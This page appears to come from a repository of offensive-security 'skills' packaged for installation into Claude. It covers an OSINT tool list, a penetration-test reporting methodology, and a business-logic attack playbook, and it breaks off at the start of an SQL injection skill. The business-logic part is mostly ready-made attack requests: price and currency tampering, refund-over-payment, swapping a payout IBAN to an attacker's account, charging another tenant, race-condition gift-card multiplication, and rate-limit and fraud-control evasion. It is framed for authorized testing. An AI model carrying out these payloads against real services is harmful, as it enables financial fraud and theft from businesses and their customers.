- Cavalier (Hudson Rock) — Infostealer lookups
- Phonebook
- LeakPeek
Infrastructure & Attack-Surface OSINT
- Shodan — Internet-connected device/service search
- Censys — Host and certificate enumeration
- GreyNoise — Distinguish background noise from targeted scans
- SecurityTrails — Passive DNS and asset discovery
- SpiderFoot — Automated recon and correlation
- theHarvester — Subdomain, email, metadata harvesting
- Recon-ng — Web recon framework
- Amass / Subfinder — Passive subdomain discovery
- BuiltWith — Tech stack enumeration
- Netlas — Large-scale HTTP/DNS/certificate pivots
- BinaryEdge / FOFA / ZoomEye — Infra pivots complementing Shodan/Censys
- RiskIQ PassiveTotal — Passive DNS/cert/host pivots
- Spur — IP lookups and tracking
- Robtex — Passive DNS and infrastructure pivots
ASN/BGP & Internet Measurement
- Hurricane Electric BGP Toolkit — ASN, prefix, peers, IRR data
- RIPEstat — IP/ASN history, routing, geolocation, abuse contacts
- BGPView — ASN and prefix explorer
- bgp.tools — Clean ASN/IX views, routing details
- PeeringDB — Facility and peering info
Certificates & CT Monitoring
- crt.sh — Search Certificate Transparency logs
- Censys Certificates — CT and x509 attribute pivots
- CertStream — Real-time CT feed via WebSocket
- Rapid7 Open Data — Sonar DNS/HTTP/SSL datasets
- Cert Spotter [Freemium] — CT monitoring and alerts
- Favicon hash (mmh3): cluster infrastructure; pair with Shodan/Censys favicon search
Threat Intel & IOCs
- Vendor/CERT advisories: CISA/NSA/CSA joint advisories, CERT-EU, NCSC-UK, JPCERT/CC, CERT-UA
- MISP Project and public MISP feeds
- OpenCTI — CTI knowledge graph
- Malpedia — Malware families, YARA, references
- ThreatFox / URLHaus / SSLBL
- MalwareBazaar — Hash-based sample sharing
- PhishTank / OpenPhish
Malware Analysis & Sandboxes
- Static analysis: pefile, FLOSS, capa
- Similarity: SSDEEP, TLSH
- Sandboxes: ANY.RUN, Hybrid Analysis, CAPE, Tria.ge
- Intelligence: Intezer (code reuse), VirusTotal (caution: uploads become public)
- TLS fingerprints: JA3, JA4
Cryptocurrency OSINT
Blockchain Explorers
| Chain | Explorer |
|---|---|
| Bitcoin | Blockchain.com, Blockchair |
| Ethereum | Etherscan |
| BNB Chain | BSCScan |
| Polygon PoS | PolygonScan |
| Solana | Solscan |
| Multi-chain | OKLink [Freemium], Cielo |
L2 Explorers: Arbiscan, Optimistic Etherscan, BaseScan, zkSync Era, L2Beat (risk/TVL comparison)
Transaction Tracking & Analytics
- Arkham — Multichain explorer, entity labels, graphs, alerts
- TRM — Address/transaction graphs
- MetaSleuth — Visual crypto flow analysis
- Breadcrumbs [Freemium] — Visual graphing and labeling
- Bubblemaps — Holder concentration visualization
- Whale Alert — Large transaction monitoring
- Chainalysis / Crystal Blockchain — Professional analytics
- GraphSense — Cryptocurrency analytics platform
- Nansen — Smart Money labels (paid)
- Dune — Custom blockchain data queries
- Token Sniffer — Honeypot and scam token detection
NFT & Exchange Intelligence
- OpenSea / NFTScan — NFT marketplace/explorer
- DappRadar — NFT sales and marketplace activity
- CoinGecko / CoinMarketCap — Market data
- Glassnode — On-chain market intelligence
Bridge Monitoring
- Socketscan — EVM bridge explorer
- L2Beat Bridges — Bridge risk analysis
- Pulsy — Bridge explorer aggregator
Media Intelligence
Reverse Image & Facial Search
- Google Images — General reverse image search
- TinEye — Reverse image search
- Yandex Images — Effective for Russian/Eastern European content
- PimEyes — Face-based image search
- FaceCheck — Find people by photo
Image Forensics
- Forensically — Digital image forensics toolkit
- ExifTool — Read/write/edit metadata
- Jimpl — Online EXIF viewer
- Jeffrey's EXIF viewer — Online metadata viewer
- FOCA — Metadata in documents
- Metagoofil — Extract metadata from public documents
- C2PA Verify — Verify content credentials and AI provenance
Video Analysis
- YouTube Data Viewer — Extract YouTube metadata
- InVID & WeVerify — Video verification browser extension
- YouTube Geo Tag — Video geolocation via geo tags
- MediaInfo — Technical/tag info for video/audio
- Snap Map (public stories) — Area/event context
Browser Extensions for Media
- Fake News Debunker by InVID & WeVerify
- RevEye Reverse Image Search
- EXIF Viewer Pro
- Wayback Machine Extension
- Search by Image
Geospatial Intelligence
Satellite Imagery & Mapping
- Google Maps / Bing Maps — General mapping
- Sentinel Hub EO Browser — Sentinel/Landsat satellite imagery
- NASA Worldview — NASA satellite imagery
- Zoom Earth — Live satellite images and weather
- Wayback Imagery — Historical satellite images
- NASA FIRMS — Fire/hotspot data
- Open Infrastructure Map — Global infrastructure networks
- Windy — Live weather map
Geolocation Tools
- Mapillary — Crowdsourced street-level imagery
- KartaView — Open-source street-level imagery
- Overpass Turbo — Advanced OpenStreetMap queries
- SunCalc — Sun position for chronolocation
- GeoNames — Geographical database
- PeakVisor — Identify mountain peaks
- GeoGuesser tips — Geolocation methodology
Street View: Google Street View, Apple Maps, Yandex Maps, Baidu Maps
Flight OSINT
- FlightRadar24 / FlightAware / RadarBox
- ADSBExchange — Unfiltered community ADS-B feed
- Planespotters — Fleet/airframe history by tail number
- AirFrames / JetPhotos — Visual confirmation
Maritime OSINT
- MarineTraffic — Live AIS vessel tracking
- VesselFinder — Global ship movements and port calls
- FleetMon — Historical AIS data and analytics
- Global Fishing Watch — Fishing vessel behavior and AIS gap analysis
AI-Assisted OSINT
Warning: Never paste PII, sensitive IOCs, or unique pivots into cloud LLMs. They log inputs and may use them for training. Use local models (Ollama, LM Studio) for sensitive analysis.
| Tool | Strength |
|---|---|
| ChatGPT (paid) | Log parsing, dataset analysis, Code Interpreter for CSVs/JSON, GPT-4 Vision for image OCR |
| Claude (paid) | 200K token context for large document dumps and report synthesis |
| Gemini 1.5 Pro | 2M token context; Deep Research mode with citations |
| Perplexity Pro (paid) | Real-time web search + reasoning; multi-query synthesis |
Local/privacy-preserving: Ollama (Llama 3, Mistral), LM Studio, GPT4All
Commercial AI OSINT Platforms
- Cylect — AI entity extraction and link-analysis
- Fivecast Matrix — Generative-AI triage for social-media datasets
- Recorded Future — AI-driven threat intelligence
- DarkOwl Vision — AI-powered darknet data analysis
Deepfake & Synthetic Media Detection
- Sensity AI — Deepfake detection
- Reality Defender — AI-generated content detection
- Adobe Content Credentials Verify — C2PA verifier
- CarNet — AI car model identification (useful for geolocation)
Archiving & Evidence Preservation
- archive.today — One-page content archiver with screenshot
- URLScan.io — On-demand webpage scan with resource map
- ArchiveBox — Self-hosted archiving (HTML, PDF, screenshots, media)
- Hunchly — Evidence capture for investigators (paid)
- Wayback SavePageNow API v3 — On-demand archiving with job IDs
- SingleFileZ — Browser extension for offline HTML archives
- Kasm Workspaces — Containerized OSINT workspace/browser isolation
Evidence handling:
- Capture: URL + timestamp + PNG screenshot + WARC/SingleFileZ archive
- Hash all downloaded files (SHA-256) and record in case notes
- Separate work profiles/containers per case; store evidence read-only
- Use JSONL (NDJSON) logs with
run_idand tool versions for reproducibility
Automation & Workflows
- n8n — Self-hosted workflow automation (e.g., RSS → scrape → alert pipelines)
- Huginn — Agent-based monitoring, scraping, alerting
- Playwright — Headless browser automation with stealth plugins
- Browsertrix Crawler — Archival crawling with WARC export
- Prefect / Apache Airflow — Workflow orchestration for data pipelines
Regional Search Engines
- Russia/CIS: Yandex, Mail.ru Search
- China: Baidu, Sogou, 360 Search
- Russia social: VK, OK.ru
- China social: Weibo, Bilibili, Zhihu, Douyin
Telegram & Messaging Intelligence
- TGStat — Channel analytics and search
- Telemetr — Channel growth, overlaps, forwards
- Combot — Group analytics (partially paid)
- TelegramDB Search Bot — Basic Telegram OSINT
- Discord ID — Basic Discord account information
- Sogou Weixin search — WeChat Official Accounts content search
- View public Telegram channels:
https://t.me/s/<channel>
Skills/utility/offensive-reporting/SKILL.md
npx skills add SnailSploit/Claude-Red --skill offensive-reporting -g -y
SKILL.md
Frontmatter
{
"name": "offensive-reporting",
"description": "Penetration test and red team report writing methodology. Covers executive summary structuring (risk-led narrative for non-technical readers), technical finding format (title, severity, affected scope, narrative, reproduction steps, impact, remediation, references), CVSS v3.1 \/ v4.0 scoring with vector justification, OWASP risk rating, evidence hygiene (redacting credentials, hashing client data, time-stamping every action), screenshot and PoC artifact management, finding chain narratives, scope\/limitations\/assumptions documentation, retest evidence and remediation tracking, deliverable formats (PDF, DOCX, HTML, JSON for SIEM ingestion), client-customer-deliverable separation, and common report mistakes (over-CVSSing, undermining the triager, missing the 'so what'). Use at the end of an engagement when authoring a deliverable, when restructuring a draft for executive readability, or when establishing a reusable report template for a consulting practice."
}
Penetration Test Reporting — Professional Methodology
A great finding lost in a bad report is a wasted finding. Reports are the artifact the client pays for, the auditor reads, and the developer fixes from. Treat the report with the same rigor as the exploit.
Quick Workflow
- Capture evidence as you exploit — never reconstruct after the fact
- Draft each finding immediately while context is fresh; one finding = one numbered file
- Build the executive summary last, after all findings are scored
- Two-pass review: technical accuracy first, then read-as-CISO for narrative
- Hand off with a retest plan and a JSON/CSV index for the client's tracking system
Report Structure (Standard)
1. Executive Summary ← Last to write, first read
2. Engagement Overview
2.1 Scope
2.2 Methodology
2.3 Limitations / Assumptions
2.4 Timeline
2.5 Team
3. Risk Summary ← Heatmap, finding count by severity
4. Technical Findings ← One per finding, sorted by severity
5. Attack Narratives / Chains ← Critical chains called out separately
6. Strategic Recommendations ← Programmatic, not finding-by-finding
7. Appendices
A. Tools Used
B. Indicators of Compromise (for blue team)
C. Raw Evidence Pointers
D. Glossary
Executive Summary — The 90-Second Read
The executive summary is for the CISO, the GRC officer, and the board member. They read this and nothing else.
Structure (one page max):
- Engagement context — what was tested, when, by whom (1 sentence)
- Headline finding — the worst thing you found, in business terms (2–3 sentences)
- Risk verdict — overall posture in plain language (1 paragraph)
- Counts — number of findings by severity, in a small table
- Top 3 strategic recommendations — programmatic fixes, not "patch CVE-X"
Words to avoid in the executive summary:
payload, RCE, XSS, LDAP, SMB, kerberos, injection. Translate every one. ("An attacker could run arbitrary commands on the server" not "RCE via deserialization gadget chain.")
Words to include:
Business impact (customer data, regulatory exposure, operational disruption, financial loss). Anchor every finding to a business consequence.
Technical Finding Template
## Finding ID — Short Descriptive Title
**Severity:** Critical (CVSS 9.8 — vector below)
**Affected Scope:** <hosts/URLs/components, with version where relevant>
**Status:** Open / Fixed in retest / Accepted Risk
**CWE:** CWE-89 (SQL Injection)
**OWASP:** A03:2021 — Injection
### Summary
One paragraph. What is the finding, why does it matter, what's the worst case.
### Background
What technology is involved and why this class of bug exists. Two paragraphs max.
Skip if obvious (e.g. don't explain XSS to an XSS shop).
### Description
Detailed walkthrough of the issue. The root cause, not just the symptom.
### Reproduction Steps
1. Numbered, copy-paste ready.
2. Include the exact request/response, redacted.
3. A reader with no engagement context should reproduce in <15 minutes.
### Evidence
- `screenshots/finding-007/01-payload.png`
- `requests/finding-007/initial-poc.http`
- `evidence-log.csv` line 142 (timestamp 2025-04-12 14:33:07Z)
### Impact
Concrete. Quantified where possible.
- "Read access to the entire customer table (~2.3M records)"
- "Authenticate as any user; verified for sample ID 1, 2, 999, 1000000"
- "Cross-tenant access — verified by reading data from acquired-tenant ABC"
### Remediation
Specific, actionable, ordered by precedence:
1. **Fix the bug** — exact code change or config flag
2. **Defense in depth** — secondary control (WAF rule, input validation)
3. **Detection** — log line / SIEM rule that would have caught the exploit
### References
- CWE / OWASP / CAPEC
- Vendor advisory if known CVE
- Blog posts only if directly relevant
### Notes for Retest
What you'd do to verify the fix. Specific request, specific expected response.
Severity Scoring
CVSS v3.1 Discipline
CVSS is a tool, not a verdict. Score it, then sanity-check against business impact.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Critical
For every metric, justify the choice in one sentence:
AV:N— exposed to internet (port 443)AC:L— no special preconditionsPR:N— no authentication neededUI:N— no user interactionS:U— does not cross security scopeC:HI:HA:H— full read/write/availability impact on the database
If two reasonable people would score it differently, document why you chose what you chose.
When CVSS Lies
CVSS doesn't capture business context. A "Medium" CVSS XSS in the customer support chat panel that authenticated agents use to handle PII is more dangerous than an unauthenticated "High" SSRF on a metadata-less internal service. Use CVSS as the floor, not the ceiling.
In those cases, score CVSS honestly and then add a "Business Impact Adjustment" paragraph that argues for higher reporting severity. Don't lie with CVSS.
CVSS v4.0 (where required)
CVSS v4.0 adds environmental and threat metrics that better capture real-world risk. Use it when the client mandates it (PCI DSS 4.0 trends this way) — otherwise v3.1 stays the lingua franca.
OWASP Risk Rating (alternative)
For web-app-only engagements where CVSS feels stretched, OWASP's risk rating (likelihood × impact across multiple factors) often communicates better.
Evidence Discipline
What to Capture
For every finding, every action:
- Timestamp (UTC, ISO 8601)
- Source IP (yours, including any pivot)
- Target (host, URL, RPC interface)
- Action (what request was sent)
- Result (response, what you got)
- Hash of any data extracted (so you can prove what you saw)
timestamp,operator,src_ip,target,action,result_hash,notes
2025-04-12T14:33:07Z,KA,10.10.10.5,app.client.com,SQLi probe ' OR 1=1--,sha256:abc...,initial detection
This is the audit trail. Clients with mature security teams will ask for it.
Redaction Rules
Before any artifact leaves your secure environment:
- Replace credentials with placeholders:
<REDACTED-PASSWORD>,<TOKEN-A1> - Hash extracted PII — never include real names, emails, SSNs in screenshots
- Crop screenshots to the relevant area; check for browser tab leaks (other tabs visible)
- Strip EXIF from images; auto-redact via
exiftool -all= *.png - Remove debug toolbars from screenshots that reveal client infrastructure paths
- Verify URLs in screenshots don't include session tokens
Storage & Chain of Custody
- Encrypted volume during the engagement (LUKS, FileVault, BitLocker)
- Per-engagement key, not a master operator key
- Wipe to client-spec at end of engagement (typically 30–90 days post-delivery)
- Retain only the report and a hash manifest of evidence, deletable on request
Scope, Limitations, and Assumptions
These three sections protect both you and the client. Be explicit.
Scope
- IPs / domains / repos / accounts in scope, with start/end of engagement window
- Excluded: third-party SaaS used by the client (they don't own it)
- Out of scope by request: physical, social engineering against staff, DoS
Limitations
- "Testing was conducted from the internet only; no internal network access provided"
- "Source code review was not in scope"
- "Production database mutations were avoided per ROE"
- "No coordinated downtime — testing windows were 22:00–06:00 UTC"
Assumptions
- "We assumed the staging environment mirrors production"
- "We assumed the WAF in front of app.client.com is the same as production"
- "Service accounts with admin rights were assumed pre-existing"
Risk Summary & Heatmap
Show, don't tell. A visual summary every executive can read in 5 seconds:
Severity Count Top Example
Critical 3 RCE via deserialization (Finding #2)
High 7 ADCS ESC1 → Domain Admin (Finding #11)
Medium 14 Stored XSS in customer support panel (Finding #4)
Low 22 TLS 1.0 still enabled on api.client.com (Finding #29)
Info 11 —
A simple bar chart or stoplight grid converts this to a one-glance summary. Put it on page 2 (after exec summary).
Attack Chains / Narratives
Critical findings rarely matter in isolation. The chain is the story:
1. Phishing email → user runs HTA payload (Finding #1, Medium)
2. Local UAC bypass via Token Manipulation (Finding #5, Low)
3. Kerberoast service account (Finding #11, High)
4. Crack TGS offline → service account password (Finding #11)
5. ACL abuse: service account has WriteDacl on Domain Users (Finding #14, High)
6. Grant DCSync, dump krbtgt → Golden Ticket → Domain Admin (Finding #15, Critical)
Total time: 4 hours. Detection points missed: 3 (see Appendix B).
Highlight chains separately because the combination often warrants higher severity than any individual finding.
Strategic Recommendations
Below the per-finding remediations, write 3–5 programmatic recommendations:
- "Adopt SAST in CI for Java services" (addresses 12 findings)
- "Roll out tier-0 admin model for AD" (addresses entire AD attack chain)
- "Centralize secrets in HashiCorp Vault; rotate hardcoded creds" (addresses 9 findings)
This is what the CISO presents to the board. Make it memorable.
Deliverable Formats
| Format | Use |
|---|---|
| Executive read, formal record, contractual deliverable | |
| DOCX | If the client wants to redact or extend |
| HTML | Internal portal upload, searchable via grep |
| JSON | SIEM / GRC tool ingestion (DefectDojo, Faraday, ServiceNow) |
| CSV | Quick import into Jira / Asana for tracking |
| Markdown source | The single source of truth that generates all the above |
Build all formats from one Markdown source via Pandoc / a static site generator. Never maintain parallel formats by hand.
# Markdown → polished PDF via Pandoc + LaTeX template
pandoc report.md -o report.pdf \
--template=client-template.tex \
--pdf-engine=xelatex \
--metadata=title:"Penetration Test Report — Client Co." \
--toc --number-sections
Common Report Mistakes
| Mistake | Fix |
|---|---|
| CVSS 9.0 on every finding ("over-CVSSing") | Score honestly; clients lose trust if everything is critical |
| Marketing language ("revolutionary attack") | Plain professional tone |
| Tool output dumped as evidence | Curate; show the relevant 5 lines |
| Generic remediation ("validate input") | Specific code/config changes |
| Missing reproduction steps | If they can't reproduce, they can't fix |
| Untimed evidence | Every action gets a UTC timestamp |
| Confusing identical findings | Group by class, list affected items in a table |
| Forgotten retest plan | Each finding includes how you'll verify the fix |
| Failure to separate scope from limitations | Scope = what we tested; Limitations = what blocked us |
| Treating informational findings as filler | Either drop them or write them well |
Reporting for Bug Bounty (Different Audience)
Bug bounty triagers are time-pressured and skeptical. Adjust:
- Title: include the bug class + endpoint + impact in 80 chars
- Reproduction: a single curl command if possible, plus the expected vs actual response
- Impact: anchor to the program's threat model (read PII? auth bypass? cross-account?)
- Avoid: walls of text, screenshots without a request log, claims without reproduction
A good bounty report is read in 2 minutes and reproduced in 5. A bad one bounces with "more info."
Retest & Closeout
### Retest Summary
| Finding | Original Severity | Retest Status | Verification Date |
|---------|-------------------|---------------|-------------------|
| #1 | Critical | ✓ Fixed (verified) | 2025-05-10 |
| #2 | High | ✓ Fixed | 2025-05-10 |
| #5 | Medium | ⚠ Partially fixed — see notes | 2025-05-10 |
| #11 | High | ✗ Not fixed — finding stands | 2025-05-10 |
| #14 | Low | • Accepted Risk (client decision) | 2025-05-10 |
For each finding, include the exact verification request/response showing the fix. Without proof, "fixed" is hearsay.
Sample CVSS Vectors (Reference)
| Class | Typical Vector | Score |
|---|---|---|
| Unauth RCE | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
9.8 |
| Authed RCE | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
8.8 |
| Stored XSS | AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N |
5.4 |
| IDOR (PII read) | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
6.5 |
| SSRF (cloud meta) | AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N |
9.0 |
| Open Redirect | AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N |
4.3 |
Use these as starting points; adjust per environment.
Tooling
| Tool | Use |
|---|---|
| Pandoc + LaTeX | Markdown → polished PDF |
| Sphinx / mkdocs | Markdown → HTML portal |
| DefectDojo | Finding tracking, JSON export |
| Faraday | Multi-engagement aggregation |
| Dradis | Collaborative report drafting |
| serpico (legacy but still used) | Pentest report templates |
| Plextrac | Commercial reporting platform |
Key References
- NIST SP 800-115 (technical security testing reporting)
- PTES — Penetration Testing Execution Standard, reporting section
- OWASP Testing Guide — reporting chapter
- FIRST CVSS v3.1 / v4.0 specifications
- CREST Cyber Security Incident Response and Penetration Testing reporting standards
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/reporting.md
Skills/web/offensive-business-logic/SKILL.md
npx skills add SnailSploit/Claude-Red --skill offensive-business-logic -g -y
SKILL.md
Frontmatter
{
"name": "offensive-business-logic",
"description": "Business logic vulnerability testing for web\/mobile\/API engagements. Covers workflow bypass, state machine violations, multi-step process abuse, price\/quantity\/discount manipulation, currency confusion, coupon stacking, refund\/chargeback abuse, race conditions on logic boundaries, parameter tampering for hidden flows, role\/tenant boundary violations, time-of-check vs use, anti-automation defeat, fraud-detection evasion, and subscription\/quota abuse. Use when scoping an application after surface-level OWASP Top 10 has been covered, or when the asset is a transactional\/marketplace\/fintech\/e-commerce\/SaaS app where logic flaws produce direct financial impact."
}
Business Logic — Offensive Testing Methodology
Business logic flaws are the highest-paying class of vulnerability for bug bounty and the hardest for scanners to detect. They live in the gap between what the developer specified and what an attacker can convince the system to accept.
Quick Workflow
- Map every multi-step flow as a state machine (states + allowed transitions + side effects)
- For each transition, ask: who can call it, in what state, with what inputs, how many times
- Probe each axis (state, identity, input, frequency) for assumptions
- Combine flaws — single-axis flaws are usually low severity; chains are critical
- Quantify financial impact per finding (loss-per-attack × scale)
Reconnaissance — Mapping the Logic
Build the State Machine
For each user flow, draw:
- States: cart, pending payment, paid, shipped, refunded, cancelled
- Transitions: which API/UI action, which role, which preconditions
- Side effects: balance change, inventory change, email, webhook
Look for transitions that:
- Skip intermediate states (
cart→shippedwithoutpaid) - Are reversible when they shouldn't be (
shipped→cart) - Trigger side effects more than once
- Allow cross-role invocation
Hidden / Internal Endpoints
# Compare authenticated and unauthenticated JS bundles for buried admin routes
diff <(curl https://app/main.js) <(curl -H "Cookie: ..." https://app/main.js)
# Look for flag/feature toggles that change UI but not server-side enforcement
grep -E '(isAdmin|isInternal|featureFlag|debug)' bundle.js
# API spec (OpenAPI/Swagger) often lists endpoints the UI never calls
curl https://app/api/openapi.json | jq '.paths | keys'
Workflow / State-Machine Bypass
Skip a Required Step
# Normal flow: /verify-email → /set-password → /enable-2fa → /dashboard
# Try jumping directly:
GET /dashboard
GET /api/account/details
POST /api/payout-settings
# Checkout flow: /cart → /address → /shipping → /payment → /confirm
# Skip /payment by replaying /confirm with a previous order's payment-token reference:
POST /api/order/confirm
{ "cartId": "current", "paymentRef": "<old-paid-order-payment-ref>" }
Replay a One-Time Action
# Refund endpoint without idempotency
POST /api/orders/123/refund # First call: $50 refunded, order marked refunded
POST /api/orders/123/refund # Second call: server checks "is order refunded?" — race the check (see TOCTOU)
State Downgrade
Move a finalized object back to an editable state where mutations have effect:
PUT /api/order/123
{ "status": "draft" } # If accepted, you can now edit the price field
PUT /api/order/123
{ "items": [{ "id": "tv", "price": 1 }] }
Direct Endpoint Invocation
Many admin/backend transitions are reachable from any authenticated user if route-level RBAC is missing while the UI hides them.
# Enumerate verbs on every discovered path
for path in $(cat paths.txt); do
for v in GET POST PUT PATCH DELETE OPTIONS; do
code=$(curl -s -o /dev/null -w "%{http_code}" -X $v -H "Authorization: Bearer $T" https://app$path)
echo "$v $path $code"
done
done | grep -v -E ' (401|403|404) '
Price / Quantity / Currency Manipulation
Negative / Zero / Float Quantities
POST /api/cart/add
{ "sku": "tv", "qty": -1 } # Refund issued for adding negative items?
{ "sku": "tv", "qty": 0.0001 } # Float rounding: $0 line item, full product shipped?
{ "sku": "tv", "qty": 9e99 } # Overflow → wraps to small number, $0 cost?
Hidden Price Fields
POST /api/checkout
{ "items": [{"sku":"tv","qty":1,"price":1}], "total": 1, "tax": 0, "shipping": 0 }
If the server trusts client-supplied price, you set the price. Test every numeric field — price, total, discount, tax, shipping, subtotal, currency.
Currency Confusion
POST /api/checkout
{ "amount": 100, "currency": "JPY" } # Pay 100 JPY (~$0.65) for $100 USD product?
{ "amount": 100, "currency": "VND" } # Even better
{ "amount": 100, "currency": "BTC" } # Or worse: pay in BTC at $1 BTC = $1?
Look for: missing currency normalization, sloppy FX rate caching, currency lookup by user input.
Coupon / Discount Logic
# Apply same coupon multiple times
POST /api/cart/coupon { "code": "SAVE50" }
POST /api/cart/coupon { "code": "SAVE50" } # Stacks?
POST /api/cart/coupon { "code": "save50" } # Case sensitivity gives second slot?
POST /api/cart/coupon { "code": "SAVE50 " } # Whitespace ditto?
# Coupon for a different product
POST /api/cart/apply-coupon { "code": "FREEMOUSE", "appliedTo": "macbook" }
# Negative discount (becomes a surcharge that reduces total when coupon stacked with another)
POST /api/admin/coupon { "code": "X", "percent": -50 } # If admin endpoint reachable
# Expired coupon: change date in payload?
POST /api/cart/coupon { "code": "BLACKFRIDAY", "appliedAt": "2023-11-25T00:00:00Z" }
Cart Tampering
# Add a cheap item, edit the SKU server-side
POST /api/cart/add { "sku": "pen", "qty": 1 }
PUT /api/cart/items/abc { "sku": "macbook" } # SKU swap with pen's price retained?
Refund / Chargeback / Payout Abuse
Refund More Than You Paid
POST /api/orders/123/refund { "amount": 99999 }
Refund After Returning Less
Order ships 5 items, you return 1, request refund for full order. Logic should compute refund per returned item; if it computes per order, free items.
Convert Refund to Different Method
POST /api/orders/123/refund { "method": "store-credit" }
# vs original card payment → store credit can be transferred / sold
Payout Account Race
PUT /api/payout-account { "iban": "ATTACKER" }
POST /api/withdraw { "amount": 1000 }
PUT /api/payout-account { "iban": "ORIGINAL" } # Restore before audit
Identity / Tenant / Role Boundary
Role Confusion via Multipart / Parameter Pollution
POST /api/users/me
role=user&role=admin # Last-wins parser → admin
{"role": "user", "role": "admin"} # JSON last-wins
Tenant ID Substitution in Hidden Field
POST /api/invoices
{ "amount": 100, "tenantId": "victim-corp", "billTo": "attacker" }
# Charges victim-corp for attacker's order
Mass Assignment / Field Whitelist
PUT /api/users/me
{ "email": "x@y.com", "isAdmin": true, "credits": 10000, "tenantId": "victim" }
Test every field that exists on the model, not just those the form exposes.
Indirect Privilege via Object Linking
POST /api/projects/PUBLIC-PROJECT/share-token # Anyone can mint
GET /api/projects/PUBLIC-PROJECT/internal-only-data?token=...
# Sharing API meant for collaborators bypasses role check on data API
Race Conditions on Logic Boundaries
Logic checks that read state, then act on state, are TOCTOU-vulnerable. (Also see: offensive-toctou, offensive-race-condition.)
Single-Packet Multi-Request
# Burp Repeater "Send group in parallel (single-packet attack)" — HTTP/2 over TLS,
# all requests' last frames sent in one TCP segment. Server processes them concurrently.
Common Logic Races
| Flow | Race |
|---|---|
| Coupon redemption | N parallel apply-coupon calls each see "unused" |
| 2FA verification | Submit code N times in parallel before lockout counter increments |
| Withdrawal | Parallel withdraws each see full balance |
| Vote / Like / Reaction | "One per user" check raced |
| Invitation acceptance | Multiple accepts → multiple seats granted |
| Free-trial signup | Parallel signups → multiple trials per email |
| Gift-card redeem | Parallel redeems → multi-spend a single card |
| Inventory reservation | Parallel buys of last item → oversell, supplier covers difference |
Amplification
# Send 30 parallel "redeem $10 gift card" requests, all see balance = $10
# Result: $300 credited from a $10 card
Anti-Automation / Fraud Defeat
Captcha / Rate Limit Bypass
| Bypass | Mechanic |
|---|---|
| Token reuse | One captcha solve, replay token across many requests |
| Endpoint mirror | /api/v1/login rate-limited, /api/v2/login not |
| Header rotation | X-Forwarded-For: <random> resets per-IP counter |
| HTTP/2 stream multiplexing | Each stream counted as same conn → window only |
| Method/case variation | POST /Login vs POST /login keyed differently in cache |
Device Fingerprint / Velocity
- New device → require step-up auth. Replay captured device cookies / FingerprintJS hash.
- Velocity counters (5 logins/hour) often per
(userid, ip)not peruserid. - Risk score thresholds: small purchases skip review. Test the boundary ($99.99 vs $100).
Free Trial / Sign-Up Abuse
# Email aliasing
attacker+1@gmail.com, attacker+2@gmail.com # Plus-aliasing
attacker.@gmail.com, a.t.t.acker@gmail.com # Dots ignored on Gmail
attacker@googlemail.com # gmail/googlemail equivalence
# Phone number recycling (number-portable VOIP) — identity not unique
# Device-ID rotation (mobile testing) — wipe storage, new install
Referral / Reward Loops
POST /api/refer { "email": "a@x.com" } # +$5 to me when they sign up
# Sign up the alias, receive referral
POST /api/refer { "email": "a+1@x.com" } # Repeat — many sign-ups, all same person
Subscription / Quota / Tier Abuse
Tier Downgrade Retains Premium Features
PUT /api/subscription { "tier": "free" } # Cancel paid
GET /api/feature/premium-export # Still works because feature flag cached?
Mid-Cycle Quota Reset
PUT /api/subscription { "tier": "pro" } # +1000 quota
PUT /api/subscription { "tier": "free" } # Resets to 0? Or just caps display?
PUT /api/subscription { "tier": "pro" } # +1000 again — net 2000 in one cycle
Add-On Stacking
POST /api/addons { "id": "extra-storage" } # +10GB
POST /api/addons { "id": "extra-storage" } # Stacks to 20GB?
POST /api/addons { "id": "extra-storage" } # Or charges once, stacks N times?
Time-Based Logic
Time Travel via Headers
POST /api/checkout
Date: Wed, 01 Jan 2020 00:00:00 GMT # Server-trusted time?
X-Request-Time: 1577836800
Promotion Window
Set client-side date to inside the window, server validates X-Promo-Time parameter. Stale promo cache means yesterday's prices apply today.
Token / Session Expiry
Refresh token endpoint that doesn't check the original token's expiry → indefinite session extension.
Combining Flaws — Where the Crits Live
Single-axis findings are interesting; chains are payouts.
Example chain (real, paid bounty):
- Coupon stacking allows
100% off× 2 → negative total - Negative total → store credit issued (refund of "overpayment")
- Store credit transferable to gift card
- Gift card race condition → multiplied
- Gift card redeemable on partner site for cash equivalents
Chain template:
- Find a thing the system gives you (credit, points, slot, seat)
- Find a way to multiply it (race, replay, stacking)
- Find a way to convert it to value (transfer, refund, payout)
Engagement Approach
Day 1: Map state machines for top 3 money flows.
Day 2: Per state, list what the UI does. Check what the API allows.
Day 3: Single-axis tests (price tampering, role mass-assignment, replay, currency).
Day 4: Race conditions on every "one-shot" action.
Day 5: Chain the findings. Quantify financial impact per chain.
Document each finding as: pre-conditions → exact request sequence → state delta → financial impact per execution → scaling factor.
Reporting Hooks
Business-logic findings often get downgraded by triagers who don't understand the chain. Always include:
- A diagram of the intended flow vs. the achieved flow
- A scripted PoC that runs end-to-end (no manual steps)
- A dollar value per execution and a feasibility statement for repeating it
- The fix at the right layer (state machine validator, not just input validation)
Key References
- OWASP WSTG-BUSL — Business Logic Testing chapter
- PortSwigger Web Security Academy: Business logic vulnerabilities track
- MITRE ATT&CK: T1539 (Steal Web Session Cookie), T1078 (Valid Accounts) — for chained access
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/business-logic.md
Skills/web/offensive-sqli/SKILL.md
npx skills add SnailSploit/Claude-Red --skill offensive-sqli -g -y
SKILL.md
Frontmatter
{
"name": "offensive-sqli",
"description": "SQL injection testing skill for offensive security assessments and bug bounty hunting. Covers error-based, UNION-based, boolean\/time-based blind, out-of-band, second-order, NoSQL, GraphQL, WebSocket, and JSON-operator SQLi. Includes WAF bypass techniques, database-specific exploitation (MySQL, MSSQL, PostgreSQL, Oracle), cloud-native attack paths, ORM CVE tracking, and SQLmap automation. Use when performing web application SQL injection testing, database enumeration, privilege escalation via SQLi, or assessing injection vectors in APIs and modern stacks."
}
SQL Injection — Offensive Testing Methodology
Quick Workflow
- Map all input vectors that reach the database (URL params, POST body, cookies, headers, API filters, WebSocket messages)
